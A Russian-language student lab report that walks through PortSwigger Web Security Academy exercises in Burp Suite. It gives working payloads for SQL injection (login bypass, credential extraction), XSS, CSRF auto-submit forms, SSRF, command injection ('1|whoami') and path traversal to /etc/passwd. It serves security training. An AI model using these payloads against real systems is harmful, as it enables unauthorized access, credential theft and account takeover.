# Web. Практическая работа №3 ## 3.0 Описание работы В данной работе будем выполнять лабораторные на стенде: - [https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink) В основном будем использоать Burp Suite. ## 3.1 SQL-injection уязвимости ### 3.1.1 SQL injection vulnerability allowing login bypass - [https://portswigger.net/web-security/sql-injection/lab-login-bypass](https://portswigger.net/web-security/sql-injection/lab-login-bypass) Включим перехват, попробуем залогиниться ![](https://i.imgur.com/FQqG0ph.png) Перехватим запрос, изменим значение переменной username на administrator' -- ![](https://i.imgur.com/DYYTz9y.png) Атака успешна, мы админы. ![](https://i.imgur.com/CQmkf1y.png) --- ### 3.1.2 SQL injection vulnerability in WHERE clause allowing retrieval of hidden data - [https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data](https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data) Откроем сайт ![](https://i.imgur.com/ybI7MRo.png) Перехватим запрос категории и изменим значение переменной category на '+OR+1=1-- ![](https://i.imgur.com/82fdIRM.png) Атака успешна ![](https://i.imgur.com/z9a0UMK.png) --- ### 3.1.3 SQL injection UNION attack, retrieving data from other tables - [https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables](https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables) Откроем сайт ![](https://i.imgur.com/R2Vs8KB.png) Перехватим запрос категории и установим значение переменной category в '+UNION+SELECT+'first','second'--. Так мы увидим где первая строка, а где вторая. ![](https://i.imgur.com/q6uHj1a.png) Посмотрим результат, атака успешна, определили положения строк. ![](https://i.imgur.com/upOR93U.png) Снова перехватим запрос категории и установим значение переменной category '+UNION+SELECT+username,+password+FROM+users--. Так мы выполним запрос к базе данных на выборку логинов/паролей. ![](https://i.imgur.com/Y1JVMf9.png) Атака успешна ![](https://i.imgur.com/TAcUooF.png) --- ### 3.1.4 SQL injection attack, querying the database type and version on MySQL and Microsoft - [https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft) Откроем сайт ![](https://i.imgur.com/CnlYy29.png) Перехватим запрос категории и установим значение переменной category в '+UNION+SELECT+'first','second'--. Так мы увидим где первая строка, а где вторая. ![](https://i.imgur.com/VB3sgFR.png) Посмотрим результат, атака успешна, определили положения строк. ![](https://i.imgur.com/QibUFVj.png) Снова перехватим запрос категории и установим значение переменной category '+UNION+SELECT+@@version,+NULL#. Так мы выполним запрос к базе данных и узнаем версию СУБД ![](https://i.imgur.com/O564GuE.png) Атака успешна ![](https://i.imgur.com/pSkkVWP.png) --- ## 3.2 XSS уязвимости: ### 3.2.1 Stored XSS into HTML context with nothing encoded - [https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded](https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded) Откроем сайт ![](https://i.imgur.com/harMVTx.png) Откроем пост, оставим коммент под постом. В комменте напишем < script>alert(1)</script > ![](https://i.imgur.com/vMRh6uS.png) Коменнт опубликован ![](https://i.imgur.com/baOv202.png) Вернемся к посту, атака успешна ![](https://i.imgur.com/Wn6F2wA.png) --- ### 3.2.2 DOM XSS in document.write sink using source location.search - [https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink) Откроем сайт, введем в поиске String1 ![](https://i.imgur.com/EPiKmYT.png) Исследуем элемент String1 видим, что он внутри тега img ![](https://i.imgur.com/NqTLfVN.png) Введем в поиске >< svg onload=alert(1)> , атака успешна ![](https://i.imgur.com/MQKrBcS.png) ![](https://i.imgur.com/Yweh6LX.png) --- ### 3.2.3 Reflected XSS into a JavaScript string with angle brackets HTML encoded - [https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded) Откроем сайт ![](https://i.imgur.com/sNfz5uv.png) String1 в поиске ![](https://i.imgur.com/ei2EZ0C.png) Исследуем элемент String1 видим, что он внутри тега script ![](https://i.imgur.com/XgoMSFa.png) В поиске напишем - alert(1) - ![](https://i.imgur.com/THLcNw0.png) Атака успешна ![](https://i.imgur.com/y9qteBA.png) --- ### 3.2.4 Reflected DOM XSS - [https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected) Откроем сайт ![](https://i.imgur.com/c7tgmlu.png) Перехватим запрос поиска ![](https://i.imgur.com/Sin6HHx.png) Посмотрим путь ![](https://i.imgur.com/vBFovCT.png) Найдем js файл ![](https://i.imgur.com/SAgPXWF.png) Откроем его, увидим что используется eval() ![](https://i.imgur.com/dtIp42X.png) В строку поиска \" -alert ()}// ![](https://i.imgur.com/zV6eYDA.png) Атака успешна ![](https://i.imgur.com/KLgvJHk.png) ![](https://i.imgur.com/DR5ZIIi.png) --- ## 3.3 CSRF: ### 3.3.1 CSRF vulnerability with no defenses - [https://portswigger.net/web-security/csrf/lab-no-defenses](https://portswigger.net/web-security/csrf/lab-no-defenses) Откроем сайт ![](https://i.imgur.com/tDsGxAC.png) Откроем запись в блоге ![](https://i.imgur.com/Ql7gYBs.png) Зайдем под пользователем wiener ![](https://i.imgur.com/8cTggK6.png) Изменим почту ![](https://i.imgur.com/zblIF3j.png) Перехватим запрос, скопируем адрес ![](https://i.imgur.com/UV0KCNO.png) Запустим exploit сервер сохраним эксплойт с телом: ```html= <html> <body> <form method="POST" action="https://0ab700bb03468b3ac0108ed7000a0036.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="user@user.com"/> <input type="submit" value="Submit request"/> </form> <script> document.forms[0].submit(); </script> </body> </html> ``` ![](https://i.imgur.com/u4xlRm6.png) Нажмем доставку жертве, атака успешна ![](https://i.imgur.com/TYllZDo.png) --- ### 3.3.2 CSRF where token validation depends on request method - [https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method) Откроем сайт ![](https://i.imgur.com/K3wFF3J.png) Зайдем под пользователем, обновим адрес почты ![](https://i.imgur.com/AEvjRfR.png) Перехватим запрос ![](https://i.imgur.com/SDWKqQU.png) Скопируем адрес ![](https://i.imgur.com/UhExmqI.png) Создадим эксплойт с телом: ```html= <html> <body> <form method="GET" action="https://0ab700bb03468b3ac0108ed7000a0036.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="user@user.com"/> </form> <script> document.forms[0].submit(); </script> </body> </html> ``` ![](https://i.imgur.com/X0TMhbN.png) Доставим жертве, атака успешна ![](https://i.imgur.com/EEc0Ld1.png) --- ## 3.4 SSRF: ### 3.4.1 Basic SSRF against the local server - [https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost) Откроем сайт ![](https://i.imgur.com/YjhXYRZ.png) Попробуем открыть админку ![](https://i.imgur.com/I5hnCRf.png) Откроем товар, проверим наличие, перехватим запрос ![](https://i.imgur.com/9IT8Nkp.png) Изменим переменную stockApi на значение 'http:// localhost/admin' ![](https://i.imgur.com/X2US2ly.png) Получим админку, посмотри html код ссылки удаления carlos, определим отностительный путь и передадим его в localhost ![](https://i.imgur.com/9E0Kf5Z.png) Но не через html а в переменной stockApi ![](https://i.imgur.com/YNX4MYa.png) Перехватим запрос в переменную stockApi внесем значение 'http:// localhost/admin/delete?username=carlos' ![](https://i.imgur.com/PdI1PsW.png) Атака успешна ![](https://i.imgur.com/VTEuXLk.png) --- ### 3.4.2 SSRF with filter bypass via open redirection vulnerability - [https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection) Откроем сайт ![](https://i.imgur.com/rqrpeIf.png) Перехватим запрос на следующий продукт ![](https://i.imgur.com/mD6WUQO.png) Изменим переменную stockApi на /product/nextProduct?path=http: //192.168.0.10:8080/admin ![](https://i.imgur.com/e8sGGPN.png) Открылась админка, посмотрим html код ссылки удаления ![](https://i.imgur.com/sidITqa.png) Еще раз перехватим запрос, и изменим stockApi на /poduct/nextProduct?path=http ://192.168.0.12:8080/admin/delete?username=carlos ![](https://i.imgur.com/4sX9f9o.png) Пользователь удален ![](https://i.imgur.com/0Fb2vPJ.png) Атака успешна ![](https://i.imgur.com/sromC2w.png) --- ## 3.5 RCE: ### 3.5.1 OS command injection, simple case - [https://portswigger.net/web-security/os-command-injection/lab-simple](https://portswigger.net/web-security/os-command-injection/lab-simple) Откроем сайт ![](https://i.imgur.com/A56GDHO.png) Откроем продукт, перехватим запрос на проверку наличия ![](https://i.imgur.com/4ZRM9xC.png) Изменим переменную storeId на значение 1|whoami ![](https://i.imgur.com/jCwTYlI.png) Видим кто мы ![](https://i.imgur.com/b4XsZz6.png) Атака успешна ![](https://i.imgur.com/3ZqEj9N.png) --- ## 3.6 Path traversal: ### 3.6.1 File path traversal, simple case - [https://portswigger.net/web-security/file-path-traversal/lab-simple](https://portswigger.net/web-security/file-path-traversal/lab-simple) Окроем сайт ![](https://i.imgur.com/YUMD4NO.png) Перехватим запрос на загрузке изображения ![](https://i.imgur.com/WtwC4m5.png) Изменим переменную filename на ../../../etc/passwd ![](https://i.imgur.com/5VQoAh2.png) Атака успешна в ответе содержимое файла /etc/passwd полученное по относительному пути ![](https://i.imgur.com/aB4u7Ia.png) --- ### 3.6.2 File path traversal, traversal sequences blocked with absolute path bypass - [https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass) Откроем сайт ![](https://i.imgur.com/2VVIdFH.png) Откроем продукт, перехватим запрос на загрузку изображения ![](https://i.imgur.com/hCCgAQI.png) Изменим переменную filename на значение /etc/passwd ![](https://i.imgur.com/Ir6Easl.png) Атака успешна, содержимое файла /etc/passwd в ответе ![](https://i.imgur.com/h8ptJDE.png) --- Статистика по лабораторным ![](https://i.imgur.com/V4rSiDk.png) --- Выполненные работы ![](https://i.imgur.com/wmC0aaZ.png) ![](https://i.imgur.com/qPDoe2f.png) ![](https://i.imgur.com/kwqbdTq.png) ![](https://i.imgur.com/0alLCsw.png) ![](https://i.imgur.com/FgPUesL.png) ![](https://i.imgur.com/PXPjzBI.png) ![](https://i.imgur.com/0MJdI9h.png) --- На этом данная работа завершена